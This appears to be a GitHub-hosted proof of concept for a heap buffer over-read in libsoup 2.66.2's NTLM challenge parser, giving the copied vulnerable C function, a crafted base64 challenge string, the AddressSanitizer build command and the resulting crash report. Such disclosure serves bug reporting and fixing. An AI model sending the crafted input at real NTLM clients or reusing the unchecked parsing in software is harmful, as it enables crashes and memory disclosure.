Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
158 lines (145 sloc) 5.5 KB

POC:

#include <glib.h>
typedef struct {
	guint16 length;
	guint16 length2;
	guint16 offset;
	guchar  zero_pad[2];
} NTLMString;
#define NTLM_CHALLENGE_NONCE_OFFSET         24
#define NTLM_CHALLENGE_NONCE_LENGTH          8
#define NTLM_CHALLENGE_DOMAIN_STRING_OFFSET 12
#define NTLM_CHALLENGE_TARGET_INFORMATION_OFFSET      40

#define NTLM_CHALLENGE_FLAGS_OFFSET         20
#define NTLM_FLAGS_NEGOTIATE_NTLMV2 0x00080000
#define NTLM_FLAGS_NEGOTIATE_TARGET_INFORMATION 0x00800000
#define NTLM_FLAGS_REQUEST_TARGET 0x00000004

#define NTLM_RESPONSE_HEADER "NTLMSSP\x00\x03\x00\x00\x00"
#define NTLM_RESPONSE_FLAGS 0x8201
#define NTLM_RESPONSE_TARGET_INFORMATION_OFFSET 44
#define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000

#define HMAC_MD5_LENGTH                     16
static gboolean
soup_ntlm_parse_challenge (const char *challenge,
			   char      **nonce,
			   char      **default_domain,
			   gboolean   *ntlmv2_session,
			   gboolean   *negotiate_target,
			   char		**target_info,
			   size_t	*target_info_sz)
{
	gsize clen;
	NTLMString domain;
	NTLMString target;
	guchar *chall;
	guint32 flags;

	chall = g_base64_decode (challenge, &clen);
	if (clen < NTLM_CHALLENGE_DOMAIN_STRING_OFFSET ||
	    clen < NTLM_CHALLENGE_NONCE_OFFSET + NTLM_CHALLENGE_NONCE_LENGTH) {
		g_free (chall);
		return FALSE;
	}

	memcpy (&flags, chall + NTLM_CHALLENGE_FLAGS_OFFSET, sizeof(flags));
	flags = GUINT_FROM_LE (flags);
	*ntlmv2_session = (flags & NTLM_FLAGS_NEGOTIATE_NTLMV2) ? TRUE : FALSE;
	/* To know if NTLMv2 responses should be calculated */
	*negotiate_target = (flags & NTLM_FLAGS_NEGOTIATE_TARGET_INFORMATION ) ? TRUE : FALSE;

	if (default_domain) {
		memcpy (&domain, chall + NTLM_CHALLENGE_DOMAIN_STRING_OFFSET, sizeof (domain));
		domain.length = GUINT16_FROM_LE (domain.length);
		domain.offset = GUINT16_FROM_LE (domain.offset);

		if (clen < domain.length + domain.offset) {
			g_free (chall);
			return FALSE;
		}

		*default_domain = g_convert ((char *)chall + domain.offset,
					     domain.length, "UTF-8", "UCS-2LE",
					     NULL, NULL, NULL);
	}

	if (nonce) {
		*nonce = g_memdup (chall + NTLM_CHALLENGE_NONCE_OFFSET,
				   NTLM_CHALLENGE_NONCE_LENGTH);
	}
	/* For NTLMv2 response */
	if (*negotiate_target && target_info) {
		memcpy (&target, chall + NTLM_CHALLENGE_TARGET_INFORMATION_OFFSET, sizeof (target));
		target.length = GUINT16_FROM_LE (target.length);
		target.offset = GUINT16_FROM_LE (target.offset);

		if (clen < target.length + target.offset) {
			g_free (chall);
			return FALSE;
		}
		*target_info = g_memdup (chall + target.offset, target.length);
		*target_info_sz = target.length;
	}

	g_free (chall);
	return TRUE;
}
int main(){
   char* dest1;
   char* dest2;
   gboolean arg1;
   gboolean arg2;
   char* target;
   size_t target_size;
   const char* challenge="TlRMTVNTUAADAAAAAAAAAAUABQD///+PBQAFACUAAABLSVJJTktJUklO";
   //start with "NTLMSSP"
   soup_ntlm_parse_challenge(challenge,&dest1,&dest2,&arg1,&arg2,&target,&target_size);
}

In command line:

clang -g3  -fsanitize=address  ./test.c -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -lglib-2.0  -o poc
./poc

Output:

=================================================================
==24503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000000bb at pc 0x0000004d8c82 bp 0x7fff3b8cb430 sp 0x7fff3b8cabe0
READ of size 8 at 0x6040000000bb thread T0
    #0 0x4d8c81  (/home/kirin/libsoup-2.66.2/poc+0x4d8c81)
    #1 0x512e86  (/home/kirin/libsoup-2.66.2/poc+0x512e86)
    #2 0x512446  (/home/kirin/libsoup-2.66.2/poc+0x512446)
    #3 0x7f1601fb8b96  (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #4 0x419f09  (/home/kirin/libsoup-2.66.2/poc+0x419f09)

0x6040000000bb is located 0 bytes to the right of 43-byte region [0x604000000090,0x6040000000bb)
allocated by thread T0 here:
    #0 0x4d9fe8  (/home/kirin/libsoup-2.66.2/poc+0x4d9fe8)
    #1 0x7f1602fbab10  (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51b10)
    #2 0x512446  (/home/kirin/libsoup-2.66.2/poc+0x512446)
    #3 0x7f1601fb8b96  (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/kirin/libsoup-2.66.2/poc+0x4d8c81) 
Shadow bytes around the buggy address:
  0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
=>0x0c087fff8010: fa fa 00 00 00 00 00[03]fa fa fa fa fa fa fa fa
  0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==24503==ABORTING
You can’t perform that action at this time.